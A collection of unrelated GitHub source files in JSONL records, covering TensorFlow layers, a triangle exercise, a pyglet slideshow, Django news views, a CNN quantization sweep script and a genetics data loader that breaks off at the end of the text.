batch of Input() Layer or tf.placehodler() must be a definite number, rather than 'None'\r\n \"\"\"\r\n def __init__(self, **kwargs):\r\n super(DepthWiseCorr, self).__init__(**kwargs)\r\n\r\n def compute_output_shape(self, input_shape):\r\n s1 = list(input_shape[0])\r\n s2 = list(input_shape[1])\r\n if s2[1] == 1:\r\n return input_shape[0]\r\n else:\r\n s = s1[1] - s2[1] + 1\r\n output_shape = [s1[0], s, s, s1[-1]]\r\n return tuple(output_shape)\r\n\r\n def call(self, inputs, **kwargs):\r\n x_batch = inputs[0]\r\n z_batch = inputs[1]\r\n batch = z_batch.shape[0].value\r\n\r\n x = x_batch[0, :, :, :]\r\n z = z_batch[0, :, :, :]\r\n x = x[None, :, :, :]\r\n z = z[:, :, :, None]\r\n out = K.depthwise_conv2d(x, z)\r\n\r\n if batch > 1:\r\n for i in range(batch-1):\r\n x = x_batch[i+1, :, :, :]\r\n z = z_batch[i+1, :, :, :]\r\n x = x[None, :, :, :]\r\n z = z[:, :, :, None]\r\n out_ = K.depthwise_conv2d(x, z)\r\n out = tf.concat([out, out_], axis=0)\r\n return out\r\n","repo_name":"bit-bcilab/SiamDCA","sub_path":"model/Layers/convolution.py","file_name":"convolution.py","file_ext":"py","file_size_in_byte":22103,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"26822423372","text":"SIDE = lambda x, y: len(set(x)) == y\n\n\n\"\"\"Return if sides form a triangle inequality\"\"\"\ndef isTriangle(sides):\n for n in sides:\n if n <= 0:\n return False\n a, b, c = sides\n return (a+b) >= c and (b+c) >= a and (a+c) >= b\n\n\"\"\"Return if sides form a triangle equialateral\"\"\"\ndef equilateral(sides):\n if not isTriangle(sides):\n return False\n return SIDE(sides, 1)\n\n\"\"\"Return is sides form a triangle isosceles\"\"\"\ndef isosceles(sides):\n if not isTriangle(sides):\n return False\n return SIDE(sides, 2) or SIDE(sides, 1)\n\n\"\"\"Return if sides form a triangle scalene\"\"\"\ndef scalene(sides):\n if not isTriangle(sides):\n return False\n return SIDE(sides, 3)\n\n\nx = equilateral([5,5,5])\nprint(x)\nx = isosceles([5,5,5])\nprint(x)\nx = scalene([5,5,5])\nprint(x)","repo_name":"devcharib/exercism","sub_path":"python/triangle.py","file_name":"triangle.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"31496831157","text":"import pyglet\n\n\n# some hacks for use on multihead setup\nplatform = pyglet.window.get_platform()\ndisplay = platform.get_display(\"\")\nscreens = display.get_screens()\nwindow = pyglet.window.Window(fullscreen=True, screen=screens[-1], vsync=0)\n\nfrom pyglet.image import *\nfrom pyglet.sprite import Sprite\nfrom PIL import Image, ImageOps\nimport random, glob, os\n\nfrom multiprocessing import Process, Queue\nimport subprocess\n\nos.chdir('/home/mjolnir/git/PURIKURA/slideshow/')\n\ntarget_size = 800, 800\nevent_name = 'gunnar-dolly'\n\nNEW_PHOTO_INTERVAL = 5\n\nsettings = {}\nsettings['originals'] = os.path.join('/', 'home', 'mjolnir', 'events', \\\n event_name, 'originals')\n\n\ndef get_files():\n return glob.glob(\"{}/*jpg\".format(settings['originals']))\n\n\ndef init():\n # disable screen blanking because it causes pyglet to lock\n subprocess.call(['xset', '-dpms'])\n subprocess.call(['xset', 's', 'off'])\n\n\ndef load_resize_and_convert(queue, filename):\n image = Image.open(filename)\n image = image.transpose(Image.FLIP_TOP_BOTTOM)\n image.thumbnail(target_size, Image.ANTIALIAS)\n image = ImageOps.expand(image, border=16, fill=(255, 255, 255))\n image = image.convert()\n w, h = image.size\n image = ImageData(w, h, image.mode, image.tostring())\n queue.put(image)\n\n\nclass TableclothDisplay(object):\n \"\"\"\n class for showing images that fall onto a scrolling table cloth\n \"\"\"\n\n def __init__(self, window, bkg_image, folder):\n self.background = pyglet.graphics.Batch()\n\n self.width, self.height = window.get_size()\n\n image = pyglet.image.load(bkg_image)\n\n self.bkg0 = Sprite(image, batch=self.background)\n self.bkg1 = Sprite(image, batch=self.background)\n\n self.bkg0.opacity = 128\n self.bkg1.opacity = 128\n\n scale = self.width / float(self.bkg0.width)\n self.bkg0.scale = scale\n self.bkg1.scale = scale\n\n def scroll(self, x, y):\n self.bkg0.y += y\n self.bkg0.x += x\n\n if self.bkg0.y >= self.bkg0.height:\n self.bkg0.y = 0\n\n if self.bkg0.y + self.bkg0.height <= self.height:\n self.bkg0.y = self.height\n\n self.bkg1.y = self.bkg0.y - self.bkg0.height - 1\n\n\nload_queue = Queue()\nimages = []\nimage_batch = pyglet.graphics.Batch()\ndisplayed = set()\n\n\ndef new_photo(dt=0):\n files = get_files()\n if not files: return\n new = set(files) - displayed\n if new:\n filename = random.choice(list(new))\n displayed.add(filename)\n else:\n filename = random.choice(files)\n p = Process(target=load_resize_and_convert, args=(load_queue, filename))\n p.start()\n\n\n@window.event\ndef on_draw():\n display.background.draw()\n image_batch.draw()\n\n\ndef scroll(dt):\n display.scroll(0, dt * 20.0)\n\n to_remove = []\n for sprite in images:\n if sprite.y > window_size[1]:\n to_remove.append(sprite)\n\n for sprite in to_remove:\n images.remove(sprite)\n sprite.delete()\n\n dist = dt * 60.0\n for sprite in images:\n sprite.y += dist\n\n\nside = 0\n\n\ndef check_queue(dt):\n global side\n\n try:\n image = load_queue.get(False)\n except:\n return\n\n else:\n if side:\n side = 0\n x = random.randint(0, window_size[0] / 2 - image.width)\n else:\n side = 1\n x = random.randint(window_size[0] / 2, window_size[0] - image.width)\n\n y = -image.height\n\n sprite = Sprite(image, x=x, y=y, batch=image_batch)\n images.append(sprite)\n\n\nwindow_size = window.get_size()\n\nif __name__ == '__main__':\n init()\n\n display = TableclothDisplay(window, '../images/seamless-montage.png', '.')\n\n pyglet.clock.set_fps_limit(120)\n pyglet.clock.schedule(scroll)\n pyglet.clock.schedule_interval(new_photo, NEW_PHOTO_INTERVAL)\n pyglet.clock.schedule_interval(check_queue, 1)\n\n new_photo()\n pyglet.app.run()\n\n","repo_name":"bitcraft/PURIKURA","sub_path":"utils/slideshow/display.py","file_name":"display.py","file_ext":"py","file_size_in_byte":3931,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"19"} +{"seq_id":"30671095141","text":"lista=[]\npar=[]\nimpar=[]\nwhile True:\n lista.append(int(input('Digite um valor: ')))\n resposta=str(input('Quer continuar? [S/N]'))\n if resposta in 'Nn':\n break\nfor i,v in enumerate(lista):\n if v %2==0:\n par.append(v)\n elif v %2==1:\n impar.append(v)\nprint('=-'*30)\nprint(f'A lista competa é {lista}')\nprint(f'Lista de pares é {par}')\nprint(f'Lista de ímpares é {impar}')","repo_name":"Sc4rlxrd/Python","sub_path":"exercicos/ex082.py","file_name":"ex082.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"73539927083","text":"import logging\nimport sys\nfrom typing import Union, List, Optional, Tuple, Dict\nimport re\n\nimport skein\nimport tensorflow as tf\n\nfrom tf_yarn import event\nfrom tf_yarn.tensorflow import Experiment, KerasExperiment\nfrom tf_yarn._internal import MonitoredThread\nfrom tf_yarn._task_commons import (\n _setup_container_logs, _get_cluster_tasks, get_task_key\n)\nfrom tf_yarn.tensorflow import cluster\nfrom tf_yarn.topologies import ContainerTask\n\n_logger = logging.getLogger(__name__)\n\n\ndef _prepare_container(\n host_port: Tuple[str, int]\n) -> Tuple[skein.ApplicationClient, Dict[str, List[str]], List[ContainerTask]]:\n \"\"\"Keep socket open while preparing container \"\"\"\n client = skein.ApplicationClient.from_current()\n _setup_container_logs(client)\n cluster_tasks = _get_cluster_tasks(client)\n cluster_spec = cluster.start_cluster(host_port, client, cluster_tasks)\n return client, cluster_spec, cluster_tasks\n\n\ndef _log_sys_info() -> None:\n _logger.info(f\"Python {sys.version}\")\n _logger.info(f\"Skein {skein.__version__}\")\n _logger.info(f\"TensorFlow {tf.version.GIT_VERSION} {tf.version.VERSION}\")\n\n\ndef _gen_monitored_train_and_evaluate(client: skein.ApplicationClient):\n task = get_task_key()\n\n def train_and_evaluate(\n estimator: tf.estimator,\n train_spec: tf.estimator.TrainSpec,\n eval_spec: tf.estimator.EvalSpec):\n event.broadcast_train_eval_start_timer(client, task)\n tf.estimator.train_and_evaluate(\n estimator,\n train_spec,\n eval_spec\n )\n event.broadcast_train_eval_stop_timer(client, task)\n\n return train_and_evaluate\n\n\ndef _execute_dispatched_function(\n client: skein.ApplicationClient,\n experiment: Union[Experiment, KerasExperiment]\n) -> MonitoredThread:\n task_key = get_task_key()\n _logger.info(f\"Starting execution {task_key.to_kv_str()}\")\n if isinstance(experiment, Experiment):\n thread = MonitoredThread(\n name=f\"{task_key.to_kv_str()}\",\n target=_gen_monitored_train_and_evaluate(client),\n args=tuple(experiment),\n daemon=True)\n elif isinstance(experiment, KerasExperiment):\n raise ValueError(\"KerasExperiment using parameter strategy is unsupported\")\n else:\n raise ValueError(\"experiment must be an Experiment or a KerasExperiment\")\n thread.start()\n event.start_event(client, task_key)\n return thread\n\n\ndef _shutdown_container(\n client: skein.ApplicationClient,\n cluster_tasks: List[ContainerTask],\n session_config: tf.compat.v1.ConfigProto,\n thread: Optional[MonitoredThread]\n) -> None:\n # Wait for all tasks connected to this one. The set of tasks to\n # wait for contains all tasks in the cluster, or the ones\n # matching ``device_filters`` if set. The implementation assumes\n # that ``device_filers`` are symmetric.\n exception = thread.exception if thread is not None and isinstance(thread, MonitoredThread) \\\n else None\n task_key = get_task_key()\n event.stop_event(client, task_key, exception)\n _wait_for_connected_tasks(\n client,\n cluster_tasks,\n getattr(session_config, \"device_filters\", []))\n\n event.broadcast_container_stop_time(client, task_key)\n\n if exception is not None:\n raise exception from None\n\n\ndef _wait_for_connected_tasks(client, all_tasks: List[ContainerTask],\n device_filters, message='stop'):\n for task in all_tasks:\n if _matches_device_filters(task, device_filters):\n event.wait(client, f\"{task.to_container_key().to_kv_str()}/{message}\")\n\n\ndef _matches_device_filters(task: ContainerTask, device_filters: List[str]):\n for device_filter in device_filters:\n [(filter_type, filter_id)] = re.findall(\n r\"^/job:([a-z]+)(?:/task:(\\d+))?$\",\n # Remove once https://github.com/tensorflow/tensorflow/pull/22566 is released\n device_filter.replace(\"master\", \"chief\"))\n if (filter_type == task.type and\n (not filter_id or filter_id == str(task.id))):\n return True\n return not device_filters\n","repo_name":"criteo/tf-yarn","sub_path":"tf_yarn/tensorflow/tasks/tf_task_common.py","file_name":"tf_task_common.py","file_ext":"py","file_size_in_byte":4152,"program_lang":"python","lang":"en","doc_type":"code","stars":87,"dataset":"github-code","pt":"19"} +{"seq_id":"6478537274","text":"\"\"\"DB_Ubereats URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.urls import path\nfrom uber_deliver import views\n\nurlpatterns = [\n path('joinDeliver/', views.add_deliver_post, name='home'),\n path('show_deliver_order/', views.show_deliver_order, name='show_deliver_order'),\n path('deliver_get_order/', views.deliver_get_order, name='deliver_get_order'),\n]\n","repo_name":"sally0427/DB_final_project","sub_path":"uber_deliver/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"32543897422","text":"from .models import buskett,busketItems\nfrom .views import _cart_id\ndef counter(request):\n cart_count = 0\n if 'admin' in request.path:\n return {}\n else:\n try:\n cart = buskett.objects.filter(cart_id=_cart_id(request))\n if request.user.is_authenticated:\n cart_items = busketItems.objects.all().filter(user=request.user)\n else:\n cart_items = busketItems.objects.all().filter(busket_item=cart[:1])\n for cart_item in cart_items:\n cart_count += cart_item.quantity\n except buskett.DoesNotExist:\n cart_count = 0\n return dict( cart_count= cart_count)\n\n","repo_name":"mohamed-mashaly1403/greatCart-django-python","sub_path":"Cart/busket/context_process.py","file_name":"context_process.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"31097922895","text":"from django.shortcuts import render, redirect\nfrom django.http import HttpResponseRedirect\n\nfrom .models import News, Comments\n\n\ndef index(request):\n user = request.user\n news = News.objects.all().order_by(\"-creation_date\")\n context = {\"news\": news, \"user\": user}\n return render(request, \"index.html\", context=context)\n\n\ndef create(request):\n return render(request, \"create.html\")\n\n\ndef save_created(request):\n if request.user.is_authenticated:\n author = request.user.username\n else:\n author = request.GET[\"author\"]\n News.objects.create(\n author_name=author, title=request.GET[\"title\"], link=request.GET[\"link\"]\n )\n return HttpResponseRedirect(\"..\")\n\n\ndef upvote(request, pk):\n news = News.objects.get(id=pk)\n news.amount_of_upvotes += 1\n if news.amount_of_upvotes > 99:\n news.amount_of_upvotes = 99\n else:\n news.save()\n return HttpResponseRedirect(\"..\")\n\n\ndef all_comments(request, fk):\n comments = Comments.objects.filter(news=fk).order_by(\"-creation_date\")\n news = News.objects.get(id=fk)\n context = {\"comments\": comments, \"news\": news}\n return render(request, \"all_comments.html\", context=context)\n\n\ndef add_comment(request, fk):\n if request.user.is_authenticated:\n text = request.POST.get(\"comment-text\")\n Comments.objects.create(\n news=News.objects.get(id=fk),\n content=text,\n author_name=request.user.username,\n )\n return redirect(\"index\")\n","repo_name":"KulikovMax/DevelopsTodayTA","sub_path":"news/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"12240600496","text":"# coding: UTF-8\n\nimport subprocess\nimport sys\nimport modules\nimport os\nimport joblib\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport shutil\nimport time\n\ndef link_pyfile(DIR_PATH):\n\thome = \"/vlsilab2/y-neo/workspace/auto_optim/all\"\n\tos.symlink(home+\"/programs/allread.py\",DIR_PATH+\"/allread.py\")\n\tos.symlink(home+\"/programs/modules.py\",DIR_PATH+\"/modules.py\")\n\tos.symlink(home+\"/programs/optim.py\",DIR_PATH+\"/optim.py\")\n\tos.symlink(home+\"/programs/retrain.py\",DIR_PATH+\"/retrain.py\")\n\treturn\n\nargs = sys.argv\nargs.pop(0)\nWIDTH = 8\nIN = 84\nOUT = 10\nQ_ONLY = False\nBIT_ONLY = False\nMAKE_NEXT = False\nCIRCUIT = False\nNEXT = False\nALL = False\nFLAG = False\nhline = 0.0\nval = 0\n\n# WIDTH is not used.\nval, WIDTH, Q_ONLY, BIT_ONLY, MAKE_NEXT, CIRCUIT, hline, NEXT, ALL, FLAG = modules.args_input(args,[[\"-l\",val],[\"-w\",WIDTH],[\"-q\",Q_ONLY],[\"-b\",BIT_ONLY],[\"-m\",MAKE_NEXT],[\"-c\",CIRCUIT],[\"-h\",hline],[\"-n\",NEXT],[\"-a\",ALL],[\"-f\",FLAG]])\n\nNAME = [\"conv1\",\"conv2\",\"fc1\",\"fc2\",\"fc3\"]\nprint(NAME[val])\n#A = [10,9,8,7,6,5,4,3,2,1.9,1.8,1.7,1.6,1.5,1.4,1.3,1.2,1.1,1,0.9,0.8,0.7,0.6,0.5,0.4,0.3,0.2,0.1,0.05,0.01]\n\n#A = [10,9,8,7,6,5,4,3,2,1.9,1.8,1.7,1.6,1.5,1.4,1.3,1.2,1.1,1,0.9,0.8,0.7,0.6,0.5,0.4,0.3,0.2,0.1,0.05,0.01,0]\nA = [0.0,0.5,1,1.5,2.0,2.5,3.0]\nLUT = [1]\nFLEX = [1,2,4,8,16]\n\nif NEXT:\n\tname = NAME[val]+\"_{}_{}_{}\".format(A[len(A)-1],FLEX[len(FLEX)-1],LUT[len(LUT)-1])\n\tif val == 4 and os.path.exists(\"./data/\"+name+\"/quant_acc\"):\n\t\tprint(\"val == 4\")\n\telse:\n\t\tprint(\"WAIT: ./data/{}/better\".format(name))\n\t\ttime_count = 0\n\t\twhile not os.path.exists(\"./data/\"+name+\"/better\") and not os.path.exists(\"./data/\"+name+\"/SAME\"):\n\t\t\ttime.sleep(30)\n\t\t\tif time_count % 10 == 0:\n\t\t\t\tprint(\"WAITING:./data/{}/better\".format(name))\n\t\t\t\ttime_count = 0\n\t\t\ttime_count += 1\n\no_name = \"bit-acc_c10.txt\"\n\no_file = open(o_name,\"w\")\no_file.write(\"a,f,lut,bit,acc\\n\")\no_file.close()\nx_y = []\nfigure = plt.figure()\nmax_acc = 0\nmax_args = [0,0]\nDATA = []\nORG_FLAG = True\norg_acc = 0\norg_bit = 0\nfor f in FLEX:\n\tfor a in A:\n\t\tfor lut in LUT:\n\t\t\tname = NAME[val]+\"_{}_{}_{}\".format(a,f,lut)\n\t\t\tif os.path.exists(\"./data/\"+name+\"/SAME\"):\n\t\t\t\tcontinue\n\t\t\tif BIT_ONLY:\n\t\t\t\tif not os.path.exists(\"./data/\"+name+\"/result_bit\"):\n\t\t\t\t\tcontinue\n\t\t\t\ti_file = open(\"./data/\"+name+\"/result_bit\",\"r\")\n\t\t\t\tREAD = i_file.read()\n\t\t\t\ti_file.close()\n\t\t\t\tbit = READ.split(\" \")[2].rstrip(\"\\n\")\n\t\t\t\tDATA.append([int(bit),a,f,lut])\n\t\t\t\to_file = open(o_name,\"a\")\n\t\t\t\to_file.write(\"{},{},{},{}\\n\".format(a,f,lut,bit))\n\t\t\t\to_file.close()\n\t\t\t\tcontinue\n\t\t\tif not os.path.exists(\"./data/\"+name+\"/result_r\"):\n\t\t\t\tif val == 4 and CIRCUIT:\n\t\t\t\t\ti_file = open(\"./data/\"+name+\"/result_lut\",\"r\")\n\t\t\t\t\tREAD = i_file.readlines()\n\t\t\t\t\ti_file.close()\n\t\t\t\t\torg_numoflut = int(READ[1].split(\" \")[2].rstrip(\"\\n\"))\n\t\t\t\t\tnumoflut = int(READ[0].split(\" \")[2].rstrip(\"\\n\"))\n\t\t\t\t\ti_file = open(\"./data/\"+name+\"/result_bit\",\"r\")\n\t\t\t\t\tREAD = i_file.read()\n\t\t\t\t\ti_file.close()\n\t\t\t\t\tbit = READ.split(\" \")[2].rstrip(\"\\n\")\n\t\t\t\t\ti_file = open(\"./data/\"+name+\"/quant_acc\",\"r\")\n\t\t\t\t\tREAD = i_file.read()\n\t\t\t\t\ti_file.close()\n\t\t\t\t\tq_acc = READ\n\t\t\t\t\tacc = q_acc\n\t\t\t\t\tif float(acc) > max_acc:\n\t\t\t\t\t\tmax_acc = float(acc)\n\t\t\t\t\t\tmax_args = [a,f,lut]\n\t\t\t\t\tif CIRCUIT:\n\t\t\t\t\t\tDATA.append([int(bit)+numoflut,float(acc),a,f,lut])\n\t\t\t\t\t\to_name = \"bit-acc_CIRCUIT.txt\"\n\t\t\t\t\t\to_file = open(o_name,\"a\")\n\t\t\t\t\t\to_file.write(\"{},{},{},{},{},{}\\n\".format(a,f,lut,bit,numoflut,acc))\n\t\t\t\t\t\to_file.close()\n\t\t\t\t\t\tx_y.append([int(bit)+numoflut,1-float(acc)])\n\t\t\t\t\t\tc = (A.index(a)/len(A)/2+0.3,A.index(a)/len(A)/2+0.3,A.index(a)/len(A)/2+0.3)\n\t\t\t\t\t\tplt.plot(int(bit)+numoflut,1-float(acc),marker=\"o\",color=c)\n\t\t\t\tcontinue\n\t\t\tif ORG_FLAG:\n\t\t\t\ti_file = open(\"./data/\"+name+\"/result_org\",\"r\")\n\t\t\t\tREAD = i_file.readlines()\n\t\t\t\ti_file.close()\n\t\t\t\tprint(\"{},{},{}\".format(a,f,lut))\n\t\t\t\torg_bit = int(READ[1].split(\" \")[2].rstrip(\"\\n\"))\n\t\t\t\torg_acc = float(READ[0].split(\" \")[2].rstrip(\"\\n\"))\n\t\t\t\tORG_FLAG = False\n\t\t\tif CIRCUIT:\n\t\t\t\ti_file = open(\"./data/\"+name+\"/result_lut\",\"r\")\n\t\t\t\tREAD = i_file.readlines()\n\t\t\t\ti_file.close()\n\t\t\t\torg_numoflut = int(READ[1].split(\" \")[2].rstrip(\"\\n\"))\n\t\t\t\tnumoflut = int(READ[0].split(\" \")[2].rstrip(\"\\n\"))\n\t\t\ti_file = open(\"./data/\"+name+\"/result_r\",\"r\")\n\t\t\tREAD = i_file.read()\n\t\t\ti_file.close()\n\t\t\tr_acc = READ.split(\" \")[2].rstrip(\"\\n\")\n\t\t\ti_file = open(\"./data/\"+name+\"/result_bit\",\"r\")\n\t\t\tREAD = i_file.read()\n\t\t\ti_file.close()\n\t\t\tbit = READ.split(\" \")[2].rstrip(\"\\n\")\n\t\t\ti_file = open(\"./data/\"+name+\"/quant_acc\",\"r\")\n\t\t\tREAD = i_file.read()\n\t\t\ti_file.close()\n\t\t\tq_acc = READ\n\t\t\n\t\t\tacc = q_acc if Q_ONLY or float(q_acc) > float(r_acc) else r_acc\n\t\t\tif float(acc) > max_acc:\n\t\t\t\tmax_acc = float(acc)\n\t\t\t\tmax_args = [a,f,lut]\n\t\t\tif CIRCUIT:\n\t\t\t\tDATA.append([int(bit)+numoflut,float(acc),a,f,lut])\n\t\t\t\to_name = \"bit-acc_CIRCUIT.txt\"\n\t\t\t\to_file = open(o_name,\"a\")\n\t\t\t\to_file.write(\"{},{},{},{},{},{}\\n\".format(a,f,lut,bit,numoflut,acc))\n\t\t\t\to_file.close()\n\t\t\t\tx_y.append([int(bit)+numoflut,1-float(acc)])\n\t\t\t\tc = (A.index(a)/len(A)/2+0.3,A.index(a)/len(A)/2+0.3,A.index(a)/len(A)/2+0.3)\n\t\t\t\tplt.plot(int(bit)+numoflut,1-float(acc),marker=\"o\",color=c)\n\t\t\telse:\n\t\t\t\tDATA.append([int(bit),float(acc),a,f,lut])\n\t\t\t\to_file = open(o_name,\"a\")\n\t\t\t\to_file.write(\"{},{},{},{},{}\\n\".format(a,f,lut,bit,acc))\n\t\t\t\to_file.close()\n\t\t\t\tx_y.append([int(bit),1-float(acc)])\n\t\t\t\tc = (A.index(a)/len(A)/2+0.3,A.index(a)/len(A)/2+0.3,A.index(a)/len(A)/2+0.3)\n\t\t\t\tplt.plot(int(bit),1-float(acc),marker=\"o\",color=c)\nif BIT_ONLY:\n\texit()\nif hline != 0.0:\n\tplt.hlines(0.38,0,25000,colors=\"green\")\n\tplt.hlines(0.37,0,25000,colors=\"red\")\n\tplt.hlines(0.36,0,25000,colors=\"blue\")\nif CIRCUIT:\n\tplt.plot(org_bit+org_numoflut,1-org_acc,marker=\"x\",color=\"black\")\n\tplt.xlabel(\"LUT\",fontsize=20)\n\tprint(\"{},{},{}\".format(org_acc,org_bit,org_numoflut))\nelse:\n\tplt.plot(org_bit,1-org_acc,marker=\"x\",color=\"black\")\n\tplt.xlabel(\"Sum of Bit Width\",fontsize=20)\n\tprint(\"{},{}\".format(org_acc,org_bit))\nplt.ylabel(\"Error\",fontsize=20)\n#plt.ylim([0.36,0.4])\n#plt.xlim([140000,142000])\nif not Q_ONLY:\n\tprint(max_acc)\n\tprint(max_args)\n\tgood = []\n\tefficient = []\n\tcur_acc = 0\n\tcur_bit = 0\n\tcur_efficient = 0 # bitあたりの精度 最低bitがなるだけ。\n\tDATA = sorted(DATA)\n\tfor d in DATA:\n\t\tbit, acc, a, f, lut = d\n\t\tif cur_acc < acc:\n\t\t\tif cur_bit == bit:\n\t\t\t\tgood.pop()\n\t\t\tcur_bit = bit\n\t\t\tcur_acc = acc\n\t\t\tgood.append(d)\n\t\tif cur_efficient < acc/bit:\n\t\t\tcur_efficient = acc/bit\n\t\t\tefficient = d\n\tfor d in good:\n\t\tbit, acc, a, f, lut = d\n\t\tc = (0,0,0)\n\t\tplt.plot(int(bit),1-float(acc),marker=\"+\",color=c)\n\tprint(good)\n\tprint(good[0])\n\tprint(good[len(good)//2])\n\tprint(good[len(good)-1])\n\n\tnext_val = [good[0]]\n\tif good[len(good)//2] != good[0]:\n\t\tnext_val.append(good[len(good)//2])\n\tif good[len(good)//2] != good[len(good)-1]:\n\t\tnext_val.append(good[len(good)-1])\n\n\t#print(efficient)\n\tif MAKE_NEXT:\n\t\tif not os.path.exists(\"./cifar-10_\"+NAME[val]):\n\t\t\tos.mkdir(\"./cifar-10_\"+NAME[val])\n\t\t\to_file = \"./cifar-10_\"+NAME[val]+\"/result_of_quantize.txt\"\n\t\t\twith open(o_file,\"w\") as f:\n\t\t\t\tprint(good,file=f)\n\t\t\t\tfor g in next_val:\n\t\t\t\t\tprint(g,file=f)\n\t\t\to_file = \"./cifar-10_\"+NAME[val]+\"/circuit_scale.csv\"\n\t\t\twith open(o_file,\"w\") as f:\n\t\t\t\tfor g in next_val:\n\t\t\t\t\ta,flex,lut = g[2:5]\n\t\t\t\t\tf.write(\"{},{},{}\\n\".format(a,flex,lut))\n\t\t\tlink_pyfile('./cifar-10_'+NAME[val])\n\t\t\tfor g in next_val:\n\t\t\t\ta,f,lut = g[2:5]\n\t\t\t\tname = NAME[val]+\"_{}_{}_{}\".format(a,f,lut)\n\t\t\t\tshutil.copytree(\"./data/\"+name,\"./cifar-10_\"+NAME[val]+\"/\"+name)\n\t\t\t\tlink_pyfile(\"./cifar-10_\"+NAME[val]+\"/\"+name)\n\t\t\t\nif not NEXT:\n\tplt.show()\nif Q_ONLY:\n\tfigure.savefig(\"img_bit-acc-c10_q.png\")\nelif CIRCUIT:\n\tfigure.savefig(\"img_circuit-acc-.png\")\nelse:\n\tfigure.savefig(\"img_bit-acc-c10.png\")\nprint(next_val)\nif NEXT:\n\tif FLAG:\n\t\tnext_val.pop(0)\n\t\tnext_val.pop(0)\n\tfor g in next_val:\n\t\ta,f,lut = g[2:5]\n\t\tname = NAME[val]+\"_{}_{}_{}\".format(a,f,lut)\n\t\tprint(name)\n\t\tos.chdir(\"./cifar-10_\"+NAME[val]+\"/\"+name)\n\t\tcommand = [\"python3\", \"optim.py\", \"-l\", str(val+1)]\n\t\tsubprocess.call(command)\n\t\tos.chdir(\"../..\")\n\tif ALL:\n\t\tif val == 4:\n\t\t\texit()\n\t\tfor g in next_val:\n\t\t\ta,f,lut = g[2:5]\n\t\t\tname = NAME[val]+\"_{}_{}_{}\".format(a,f,lut)\n\t\t\tprint(\"ALL-NEXT:{}\".format(name))\n\t\t\tos.chdir(\"./cifar-10_\"+NAME[val]+\"/\"+name)\n\t\t\tcommand = [\"python3\", \"allread.py\", \"-l\", str(val+1), \"-m\", \"-n\", \"-a\", \"-c\"]\n\t\t\tsubprocess.call(command)\n\t\t\tos.chdir(\"../..\")","repo_name":"yneo918/CNN_to_Verilog","sub_path":"optim_cnn/programs/execute.py","file_name":"execute.py","file_ext":"py","file_size_in_byte":8317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"24429270249","text":"'''\nCreated on Feb 4, 2016\n\n@author: Harald\n'''\n\n\nimport numpy as np\nimport simplekml # To extract Google map files\nimport matplotlib.pyplot as plt\nfrom geopy.distance import vincenty # To compute great circle distance from coordinates\nfrom mpl_toolkits.basemap import Basemap\n\n\n# my_proj = Proj(proj='utm',zone=\"31T\", ellps='WGS84',units='m') # Prepare the Longitude/Latidude to Easting/Northing transformation\nstyle = simplekml.StyleMap() # Create a style map for highlight style and normal style FOR UNCORRECTED\nstyle.normalstyle.labelstyle.scale = 0\nstyle.normalstyle.iconstyle.icon.href = \"http://maps.google.com/mapfiles/kml/pushpin/red-pushpin.png\" # grn\nstyle.highlightstyle.labelstyle.scale = 1\nstyle.highlightstyle.iconstyle.icon.href = 'http://maps.google.com/mapfiles/kml/pushpin/blue-pushpin.png'\n######################################################\n\nclass LoadData(object):\n '''\n Loads and pre-processes the data. Contains methods for data Cleaning.\n '''\n populations = [] # Contains table of IDs and populations\n blocks = [] # Contains table of all shared blocks\n coordinates = [] # Matrix saving the coordinates of a country\n countries_oi = []\n \n # countries_oi = [] # List of countries of interest\n pw_distances = [] # Pairwise distance Matrix\n pw_blocksharing = [] # Matrix of block sharing between countries\n nr_individuals = [] # List of Nr of Individuals\n position_list = [] # List of all positions; nx2 array of x and y-Values\n\n def __init__(self, pop_path, ibd_list_path, geo_path, min_block_length, countries_oi):\n '''Runs all the stuff to bring data in shape '''\n self.countries_oi = countries_oi\n print(\"Loading data...\") \n\n # First load all the necessary files.\n self.populations = np.loadtxt(pop_path, dtype='string', delimiter=',')[1:, :] # Load the cross_reference list\n self.blocks = np.loadtxt(ibd_list_path, dtype='string', delimiter=',')[1:, :]\n self.coordinates = np.loadtxt(geo_path, dtype='string', delimiter=',')[1:, :]\n self.populations[:, 1] = [countrie.replace(\"\\\"\", \"\") for countrie in self.populations[:, 1]] # Replace double \"\" in populations\n \n # self.countries_oi = list(set(self.populations[:, 1])) # Set countries of interest to everything\n # self.extract_kml(self.coordinates[:, 0], self.coordinates[:, 1].astype('float'), self.coordinates[:, 2].astype('float'))\n \n print(self.countries_oi)\n print(\"Total number of inds: %.1f\" % len(self.populations))\n print(\"Total number of blocks: %.1f\" % len(self.blocks[:, 0])) \n \n self.calculate_pw_dist() # Update important fields. Including position_list\n self.calc_ind_nr() \n k = len(self.countries_oi)\n \n block_list = self.blocks[(self.blocks[:, 3].astype('float') > min_block_length), :] # Only keep blocks with minimum length\n \n # Replace individual numbers by their country of origin:\n for i in range(len(block_list[:, 0])):\n ind1 = np.where(self.populations[:, 0] == block_list[i, 0])[0][0]\n ind2 = np.where(self.populations[:, 0] == 